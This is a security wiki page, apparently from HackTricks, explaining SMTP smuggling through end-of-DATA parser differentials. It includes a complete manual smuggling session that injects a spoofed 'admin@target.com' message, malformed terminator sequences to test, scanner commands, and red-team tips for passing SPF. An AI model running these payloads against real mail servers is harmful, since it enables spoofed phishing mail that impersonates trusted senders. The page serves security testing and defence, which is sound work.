// HackTricks · Network Services

SMTP Smuggling

SMTP Smuggling

Basic Information

SMTP smuggling exploits disagreement between an outbound SMTP server and a receiving SMTP server about where a DATA body ends. A sequence treated as body text by the first server may be treated as the end-of-data marker by the second, causing following bytes to be parsed as a new SMTP transaction. Depending on the sender, receiver, envelope/header domains, and policy checks, the injected message may bypass SPF-based trust decisions.[1][7]

Why

The attacker supplies message data containing a nonstandard line-ending sequence. If the sending relay forwards it unchanged while the receiving server recognizes it as a terminator, the receiver parses the remaining bytes as SMTP commands. The original research illustrates that parser differential here:[1]

https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png

How

To exploit this vulnerability, the outbound SMTP server must treat the input as one message while the inbound SMTP server treats it as multiple transactions.

The researchers found servers that disagreed about nonstandard line endings. RFC 5321 defines the end of DATA as <CRLF>.<CRLF>. If the receiver also accepts a variant such as <LF>.<CRLF> while the sender forwards it as body data, bytes after that sequence can begin a second transaction.[1][7]

This works only when the outbound server does not recognize or normalize the same sequence. The exploitable condition is the parser differential between the two hops.[1]

Potential desynchronization data:

  • \n.
  • \n.\r

SPF may pass when the smuggled envelope sender uses a domain that authorizes the outbound relay’s IP. For example, the original research demonstrated changing an envelope identity from user@outlook.com to admin@outlook.com while the message still arrived from an Outlook-authorized relay. DMARC additionally depends on alignment with the visible From domain and on DKIM/SPF results, so SMTP smuggling is not a universal DMARC bypass.[1]


Attacker’s checklist (what conditions must hold?)

To successfully smuggle a second email, you typically need:[1]

  • An outbound server A you can send through (often with valid creds) that will forward a non‑standard end‑of‑DATA sequence unchanged. Many services historically forwarded variants like \n.\r\n or \n.\n.
  • A receiving server B that will interpret that non‑standard sequence as end‑of‑DATA and then parse whatever follows as new SMTP commands (MAIL/RCPT/DATA…).
  • Outbound must actually send with DATA (not BDAT). If A supports CHUNKING/BDAT, smuggling only works if it falls back to DATA (e.g., B doesn’t advertise CHUNKING), otherwise length‑framed BDAT prevents ambiguity.
  • PIPELINING isn’t required but helps hiding the injected commands in a single TCP write so intermediate devices don’t resynchronize.

Common end‑of‑DATA variants worth testing (receiver-dependent):

  • \n.\n
  • \n.\r\n
  • \r.\r\n
  • \r\n.\r (bare CR at end)

Note: What works is the intersection of “what A forwards” ∩ “what B accepts”.


Schematic Single-Session Example

The following shows the byte sequence sent after establishing a STARTTLS connection. The \n and \r\n notation below represents actual line-ending bytes, not characters to type literally. OpenSSL’s -crlf option normalizes line endings and can destroy the malformed sequence, so generate the payload as bytes and pipe it without -crlf during an authorized test.[1]

Manual smuggling session (STARTTLS)
$ openssl s_client -starttls smtp -quiet -connect smtp.example.com:587 < payload.bin
EHLO a.example
AUTH PLAIN <base64(\0user@example.com\0password)>
MAIL FROM:<user@example.com>
RCPT TO:<victim@target.com>
DATA
From: User <user@example.com>
To: victim <victim@target.com>
Subject: legit

hello A
\n.\r\nMAIL FROM:<admin@target.com>
RCPT TO:<victim@target.com>
DATA
From: Admin <admin@target.com>
To: victim <victim@target.com>
Subject: smuggled

hello B
\r\n.\r\n

If A forwards \n.\r\n and B accepts it as end‑of‑DATA, message “hello B” may be accepted as a second email from admin@target.com while passing SPF (aligned with A’s IPs).

Create payload.bin with Python byte literals so the first message uses normal CRLF while only the candidate terminator contains the intended bare LF. A terminal session cannot reliably express or preserve those distinctions.


Automation and scanners

  • hannob/smtpsmug: send a message ending with multiple malformed end‑of‑DATA sequences to see what a receiver accepts.[3]
    • Example: ./smtpsmug -s mail.target.com -p 25 -t victim@target.com
  • The‑Login/SMTP‑Smuggling‑Tools: scanner for both inbound and outbound sides plus an analysis SMTP server to see exactly which sequences survive a sender.[4]
    • Inbound quick check: python3 smtp_smuggling_scanner.py victim@target.com
    • Outbound via a relay: python3 smtp_smuggling_scanner.py YOUR@ANALYSIS.DOMAIN --outbound-smtp-server smtp.relay.com --port 587 --starttls --sender-address you@relay.com --username you@relay.com --password '...'

These tools help you map the A→B pairs where smuggling actually works.


CHUNKING/BDAT vs DATA

  • DATA uses a sentinel terminator <CR><LF>.<CR><LF>; any ambiguity in how CR/LF are normalized or dot‑stuffed leads to desync.
  • CHUNKING (BDAT) frames the body with an exact byte length and therefore prevents classic smuggling. However, if the sender falls back to DATA (because the receiver doesn’t advertise CHUNKING), classic smuggling becomes possible again.[1]

Notes on affected software and fixes (for targeting)

  • Postfix: prior to 3.9 the default tolerated bare LFs; from 3.5.23/3.6.13/3.7.9/3.8.4 admins can enable smtpd_forbid_bare_newline. Current recommendation is smtpd_forbid_bare_newline = normalize (3.8.5+/3.7.10+/3.6.14+/3.5.24+) or set to reject for strict RFC enforcement.[2]
  • Exim: CVE-2023-51766 affected versions through 4.97—including 4.96—under specific PIPELINING, CHUNKING, and DATA conditions; 4.97.1 contains the fix.[5]
  • Sendmail: CVE-2023-51765 affected versions through 8.17.2 in certain configurations. Sendmail 8.18.1 tightened line-ending and pipelining handling; distributions may backport the fix.[6][8]
  • Various libraries/servers (e.g., aiosmtpd before 1.4.5, some vendor gateways, and specific SaaS relays) had similar issues; modern versions tend to accept DATA only with strict <CR><LF>.<CR><LF>.

Use the scanners above to verify current behavior; many vendors changed defaults in early 2024–2025.


Tips for red team ops

  • Favor large commodity senders for A (historically Exchange Online, shared hosters, etc.). If they still forward some non‑standard EOM and they’re in the victim’s SPF, your smuggled MAIL FROM will inherit their reputation.
  • Enumerate B’s SMTP extensions: EHLO banner for PIPELINING/CHUNKING; if CHUNKING is missing you have a better chance from BDAT‑first senders. Combine with malformed EOMs to probe acceptance.
  • Watch headers: the smuggled message usually creates a separate Received chain starting at B. Evaluate SPF and DMARC independently; SPF checks the envelope identity/IP authorization, while DMARC requires alignment with the visible From domain (or aligned DKIM).

References